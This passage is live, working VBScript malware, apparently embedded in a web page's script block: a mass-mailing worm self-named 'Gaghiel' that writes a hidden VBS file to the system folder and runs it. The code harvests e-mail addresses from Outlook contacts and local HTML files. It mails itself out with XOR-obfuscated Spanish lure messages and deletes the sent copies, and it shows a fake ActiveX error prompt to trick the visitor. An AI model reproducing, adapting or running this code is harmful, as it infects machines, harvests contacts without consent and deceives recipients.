vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Sub GExL()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set Dc = CreateObject(q("&Chr(34)&"Tdunwsni`)Cndsnhifu~"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Dim i, n, Ox, Mxq, Mx"& vbCrlf
vbs = vbs & "Set Ox = CreateObject(q("&Chr(34)&"Hrskhhl)Fwwkndfsnhi"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set Mxq = Ox.GetNamespace("&Chr(34)&"MAPI"&Chr(34)&")"& vbCrlf
vbs = vbs & "Set MX = Mxq.GetDefaultFolder(10).Items"& vbCrlf
vbs = vbs & "n = Mx.Count"& vbCrlf
vbs = vbs & "For i = 1 To n"& vbCrlf
vbs = vbs & "Dc.Add (i), Mx.Item(i).Email1Address"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "GSM Dc"& vbCrlf
vbs = vbs & "Set Ox = Nothing"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Sub GSM(Dc)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set RD = CreateObject(q("&Chr(34)&"PTdunws)Tobkk"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set Oa = CreateObject(q("&Chr(34)&"Hrskhhl)Fwwkndfsnhi"&Chr(34)&"))"& vbCrlf
vbs = vbs & "For l = 1 To Dc.Count"& vbCrlf
vbs = vbs & "If IsMail(Dc.Item(l)) Then"& vbCrlf
vbs = vbs & "Rq = "&Chr(34)&"HKEY_CURRENT_USER\Software"&Chr(34)&""& vbCrlf
vbs = vbs & "Rx=RD.regread(Rq & "&Chr(34)&"\Gedzac Labs\Mail\"&Chr(34)&" & Dc.Item(l))"& vbCrlf
vbs = vbs & "If Rx = "&Chr(34)&""&Chr(34)&" Then"& vbCrlf
vbs = vbs & "Randomize"& vbCrlf
vbs = vbs & "Cx = Int(Rnd * 5)"& vbCrlf
vbs = vbs & "Mg D, Cx"& vbCrlf
vbs = vbs & "Set Cm = Oa.CreateItem(0)"& vbCrlf
vbs = vbs & "Cm.Recipients.Add (Dc.Item(l))"& vbCrlf
vbs = vbs & "Cm.Subject = D.Item(1)"& vbCrlf
vbs = vbs & "Cm.Body = D.Item(2)"& vbCrlf
vbs = vbs & "Cm.Attachments.Add (g(2) & D.Item(3))"& vbCrlf
vbs = vbs & "Cm.DeleteAfterSubmit = True"& vbCrlf
vbs = vbs & "Cm.SEND"& vbCrlf
vbs = vbs & "Rx = "&Chr(34)&""&Chr(34)&""& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "For z = 1 To Dc.Count"& vbCrlf
vbs = vbs & "Rd.RegWrite Rq&"&Chr(34)&"\Gedzac Labs\Mail\"&Chr(34)&" & Dc.Item(z),"&Chr(34)&"X"&Chr(34)&""& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "Set Oa = Nothing"& vbCrlf
vbs = vbs & "Set Rd = Nothing"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Function IsMail(ML)"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "Dim R(13)"& vbCrlf
vbs = vbs & "R(0) = "&Chr(34)&"/"&Chr(34)&": R(1) = "&Chr(34)&"\"&Chr(34)&": R(2) = "&Chr(34)&"?"&Chr(34)&": R(3) = "&Chr(34)&"="&Chr(34)&""& vbCrlf
vbs = vbs & "R(4) = "&Chr(34)&">"&Chr(34)&""& vbCrlf
vbs = vbs & "R(5) = "&Chr(34)&"<"&Chr(34)&": R(6) = Chr(34): R(7) = "&Chr(34)&";"&Chr(34)&": R(8) = "&Chr(34)&","&Chr(34)&""& vbCrlf
vbs = vbs & "R(9) = Chr(37): R(10) = "&Chr(34)&"¡"&Chr(34)&": R(11) = "&Chr(34)&"¿"&Chr(34)&": R(12) = "&Chr(34)&")"&Chr(34)&""& vbCrlf
vbs = vbs & "R(13) = "&Chr(34)&"("&Chr(34)&""& vbCrlf
vbs = vbs & "For K = 0 To 13"& vbCrlf
vbs = vbs & "If InStr(ML, R(K)) <> 0 Then"& vbCrlf
vbs = vbs & "IsMail = False"& vbCrlf
vbs = vbs & "Exit Function"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "X1 = InStr(ML, "&Chr(34)&"@"&Chr(34)&"): X2 = InStr(ML, "&Chr(34)&"."&Chr(34)&")"& vbCrlf
vbs = vbs & "If (X1 <> 0) And (X2 <> 0) And (X1 < X2) Then"& vbCrlf
vbs = vbs & "IsMail = True"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "End Function"& vbCrlf
vbs = vbs & "Function Mg(D, n)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set D = CreateObject(q("&Chr(34)&"Tdunwsni`)Cndsnhifu~"&Chr(34)&"))"& vbCrlf
vbs = vbs & "If n = 0 Then"& vbCrlf
vbs = vbs & "D.Add 1, q("&Chr(34)&"Tr'dhjwrsfchuf'bt'ri']hjen8"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 2, q("&Chr(34)&"Cbench'fk'ubdnbisb'fsfvrb'f'kht'"&Chr(34)&")&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tbuqnchubt"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ufn}'CIT'cb'kf'ubc+'bk'AEN'f'cbsbujnif"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ch'v 'sfi'thkh"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bi'BBRR+'of~'?7)777'dhjwrsfchuft'}hjent)"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"]hjent'tb'fwkndf'f'kft'Wd+'fabdsfcft"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'whu'ri'UFS"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"/Suh~fih'cb'Fddbth'Ubjhsh.+'v 'f'cnabubidnf'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"cb'qnurt"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"~'`rtfiht'ih'cfi'tnishjft+'whu'kh'vrb'kf'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"jf~hunf'cb"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"rtrfunht'cbtdhihdb'vrb'trt'Wd'btsfi'niabdsfcft"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'~"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tnbich'fddbcncft'wfuf'uhefu'niahujfdnhi'h'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"kfi}fu"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fsfvrbt'f'hsuft'jfvrnift)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Dhjh'tfebu'tn'tr'dhjwrsfchuf'btsf'niabdsfcf"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'dhi"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ri'UFS+'bi'kf'wf`nif'fcmrisf)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ppp)`ufsntpbe)dhj(jfdonibcufjhi6(`f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 3, q("&Chr(34)&"[Wd]hjen)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "ElseIf n = 1 Then"& vbCrlf
vbs = vbs & "D.Add 1, q("&Chr(34)&"Pnichpt'~'Htfjf'Ebi'Kfcbi"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 2, q("&Chr(34)&"Cbench'f'kft'ubdnbisbt'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"cbdkfufdnhibt'cb"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ri'jnbieuh'cb'Fk*Vfncf/Ubc'cb'Ebi'Kfcbi."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"+'cb'vrb"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"nianksufcht'bisub'kht'sbdindht'cb'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Jnduhthas+'feun"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fi+'nidkrnch'cbisuh'cbk'dhcn`h'cb'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fk`rift'qbutnh"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ibt'Pnichpt+'rif'Wrbusf'Suftbuf/Suh~fih.+"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'wfuf"&Chr(34)&")&vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"whcbu'fddbcbu'f'kft'jfvrnift'~'uhefu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'niahujfdnhi"&Chr(34)&")&vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"h'rtfukft'wfuf'ri'fsfvrb'dhhucnifch)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Frivrb'Jnduhthas'f'ib`fch'btsh+'bk'AEN"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'niqbtsn`f"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"~'f`bidnft'dhjh'kf'DNF+'ofi'dfjenfch"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'kht'tntsbjft"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"cb'trt'WDt+'wfuf'bqnsfu'ri'fsfvrb)"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Dhjh'tfebu'tn'tr'Wd'btsf'fabdsfcf'bi"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'kf'wf`nif"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fcmrisf"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ppp)`ufsntpbe)dhj(jfdonibcufjhi6(`f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 3, q("&Chr(34)&"[UFStb`runcfc)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "ElseIf n = 2 Then"& vbCrlf
vbs = vbs & "D.Add 1, q("&Chr(34)&"Sb'biqnh'kf'niah'vrb'jb'wbcntsb"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 2, q("&Chr(34)&"Ohkf+'tb'jb'wbucnh'bk'wfwbk'v "&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'jb"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"cntsb'dhi'sr'jfnk+'hmfkf'ih'jb'of~f"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'bvrnqhdfch'fk"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"btdunenukf)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Sb'biqnh'kf'niah'v 'jb'wbcntsb"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"/dhiancbidnfk."&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ubbiqnfjb'kf'cnubddnhi'cb'sr'jfnk+"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'tfkrcfjb'f"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ufýk'~'cbtwncbjb'cb'Wfss~)'Fcnht"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ppp)`ufsntpbe)dhj(jfdonibcufjhi(`f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 3, q("&Chr(34)&"[NiahujfdnhiDrbisft)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "ElseIf n = 3 Then"& vbCrlf
vbs = vbs & "D.Add 1, q("&Chr(34)&"QnusrfkKbssbu"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 2, q("&Chr(34)&"Rif'sfu`bsf'qnusrfk'kb'of'tnch"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'biqnfcf"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"cbtcb'btsf'cnubddnhi'cb'dhuubh)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"kht'cfsht'cbk'ubjnsbisb'cb'kf'sfu`bsf"&Chr(34)&")& _ "& vbCrlf
vbs = vbs & "q("&Chr(34)&"'~'chicb"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"qbukf+'bi'kf'wf`nif'fcmrisf)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Snbib'0'cnft'f'wfusnu'cb'oh~+'wfuf'qbu'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"h'cbtdfu"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`fu'tr'sfu`bsf'fisbt'cb'vrb'tbf'ehuufcf"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"QnusrfkKbssbu+'ri'tbuqndnh'cb'KfsniUbc"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Bjfnk'biqnfch'tni'fdbisht"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ppp)`ufsntpbe)dhj(jfdonibcufjhi(`f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 3, q("&Chr(34)&"[QnusrfkKbssbu)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "ElseIf n = 4 Then"& vbCrlf
vbs = vbs & "D.Add 1, q("&Chr(34)&"Tbfkrc"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 2, q("&Chr(34)&"Tbfkrc+kf'wf`nif'cb'Sbuuf'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"wfuf'ubthkqbu"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"srt'crcft'cb'tbrfkncfc)"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Qntnsfiht'bi'ppp)sbuuf)dhj)wb(tbfkrc"&Chr(34)&")&vbCrlf&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ri'Sbts'wfuf'tfebu'tn'bubt'erbi/f."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'fjfisb'bi'kf"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"wf`nif'fcmrisf"&Chr(34)&")& vbCrlf &_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ppp)`ufsntpbe)dhj(jfdonibcufjhi(`f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "D.Add 3, q("&Chr(34)&"[Tbfkrc)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "End Function"& vbCrlf
vbs = vbs & "Sub GExW()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set f=CreateObject(q("&Chr(34)&"Tdunwsni`)AnkbT~tsbjHembds"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set Dc=CreateObject(q("&Chr(34)&"Tdunwsni`)Cndsnhifu~"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set Dx = f.drives"& vbCrlf
vbs = vbs & "For Each XD In Dx"& vbCrlf
vbs = vbs & "If XD.DriveType = 2 Then"& vbCrlf
vbs = vbs & "GX XD.Path & "&Chr(34)&"\"&Chr(34)&", Dc"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "Set f = Nothing"& vbCrlf
vbs = vbs & "GSM Dc"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Sub GX(fl, Dc)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set f=CreateObject(q("&Chr(34)&"Tdunwsni`)AnkbT~tsbjHembds"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set Gfx = f.GetFolder(fl)"& vbCrlf
vbs = vbs & "Set Sf = Gfx.Subfolders"& vbCrlf
vbs = vbs & "For Each x In Sf"& vbCrlf
vbs = vbs & "GX x.Path, Dc"& vbCrlf
vbs = vbs & "EXMail x.Path, Dc"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "Set f = Nothing"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Sub EXMail(fl, Dc)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Set f=CreateObject(q("&Chr(34)&"Tdunwsni`)AnkbT~tsbjHembds"&Chr(34)&"))"& vbCrlf
vbs = vbs & "If Dc.Count < 50 Then"& vbCrlf
vbs = vbs & "Set A = f.GetFolder(fl)"& vbCrlf
vbs = vbs & "Set XA = A.Files"& vbCrlf
vbs = vbs & "For Each Y In XA"& vbCrlf
vbs = vbs & "ext = LCase(f.GetExtensionName(Y.Path))"& vbCrlf
vbs = vbs & "If (ext = q("&Chr(34)&"osjk"&Chr(34)&")) Or (ext = q("&Chr(34)&"osj"&Chr(34)&")) Then"& vbCrlf
vbs = vbs & "Set Xf = f.OpenTextFile(Y.Path)"& vbCrlf
vbs = vbs & "Do While Xf.AtendOfStream = False"& vbCrlf
vbs = vbs & "Xl = Xf.ReadLine"& vbCrlf
vbs = vbs & "n = InStr(LCase(Xl), q("&Chr(34)&"jfnksh="&Chr(34)&"))"& vbCrlf
vbs = vbs & "If n <> 0 Then"& vbCrlf
vbs = vbs & "Xl = Left(Right(Xl, (Len(Xl) - (n + 6))), _"& vbCrlf
vbs = vbs & "InStr(Right(Xl, (Len(Xl) - (n + 6))), Chr(34))-1)"& vbCrlf
vbs = vbs & "If IsMail(Xl) Then"& vbCrlf
vbs = vbs & "i = Dc.Count + 1"& vbCrlf
vbs = vbs & "Dc.Add i, Xl"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Loop"& vbCrlf
vbs = vbs & "Xf.Close"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "Set f = Nothing"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Sub IniEdit(Path,S,K,Value)"& vbCrlf
vbs = vbs & "'Aprendido y Modificado a partir "& vbCrlf
vbs = vbs & "'de un procedimiento de VBS.Tune"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Hv = 2: Hc = 2"& vbCrlf
vbs = vbs & "Set I1 = gf.OpentextFile(Path,1)"& vbCrlf
vbs = vbs & "I2 = I1.ReadAll"& vbCrlf
vbs = vbs & "I1.Close"& vbCrlf
vbs = vbs & "Lines = Split(I2,vbCrlf)"& vbCrlf
vbs = vbs & "Dim TSec, TKey"& vbCrlf
vbs = vbs & "For y = 0 to Ubound(Lines)"& vbCrlf
vbs = vbs & "If (InStr(I2, S) <> 0 ) and (InStr(I2, K) <> 0) then"& vbCrlf
vbs = vbs & "if left(Lines(y),1) = q("&Chr(34)&"\"&Chr(34)&") then"& vbCrlf
vbs = vbs & "if InStr(Lines(y), S) = 1 then"& vbCrlf
vbs = vbs & "TSec = True"& vbCrlf
vbs = vbs & "Hc = y"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if TSec then"& vbCrlf
vbs = vbs & "if InStr(Lines(y), K) = 1 then"& vbCrlf
vbs = vbs & "Lines(y) = K&q("&Chr(34)&":"&Chr(34)&")&Value"& vbCrlf
vbs = vbs & "Hv = 1: TKey = True"& vbCrlf
vbs = vbs & "Exit For"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "elseif (InStr(I2, S) <> 0 ) and (InStr(I2, K) = 0) then"& vbCrlf
vbs = vbs & "Hv=1"& vbCrlf
vbs = vbs & "if InStr(Lines(y), S) = 1 then"& vbCrlf
vbs = vbs & "Lines(y) = S&vbCrlf&K&q("&Chr(34)&":"&Chr(34)&")&Value"& vbCrlf
vbs = vbs & "TKey = True"& vbCrlf
vbs = vbs & "Exit For"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "elseif (InStr(I2, S) = 0 ) then"& vbCrlf
vbs = vbs & "Hv=1"& vbCrlf
vbs = vbs & "Set I3 = gf.OpenTextFile(Path,8)"& vbCrlf
vbs = vbs & "I3.Writeline vbCrlf&S&vbCrlf&K&q("&Chr(34)&":"&Chr(34)&")&Value"& vbCrlf
vbs = vbs & "I3.Close"& vbCrlf
vbs = vbs & "Exit sub"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "If Hv = 2 then"& vbCrlf
vbs = vbs & "Lines(Hc) = S&vbCrlf&K&q("&Chr(34)&":"&Chr(34)&")&Value"& vbCrlf
vbs = vbs & "Tkey = True"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "If TKey then"& vbCrlf
vbs = vbs & "Set I4 = gf.OpenTextFile(Path,2)"& vbCrlf
vbs = vbs & "I4.Write Join(Lines,vbCrlf)"& vbCrlf
vbs = vbs & "I4.Close"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf

gs.Write vbs
gs.close
Set G = gz.getfile(gz.getspecialfolder(1) & q("[@f`onbk)qet"))
G.attributes = G.attributes + 2
gy.run gz.getspecialfolder(1) & "\Gaghiel.vbs"
end if
if err.number <> 0 then
alert("Error 13" & vbCrlf & "Esta Pagina Requiere Controles ActiveX para ser mostrada en su totalidad" & vbCrlf & "Presione Actualizar y Acepte")
End if
Function q(j)
On Error Resume Next
For r = 1 to len(j)
q = q & Chr(Asc(Mid(j,r,1)) Xor Len("Gaghiel"))
Next
End function
</script>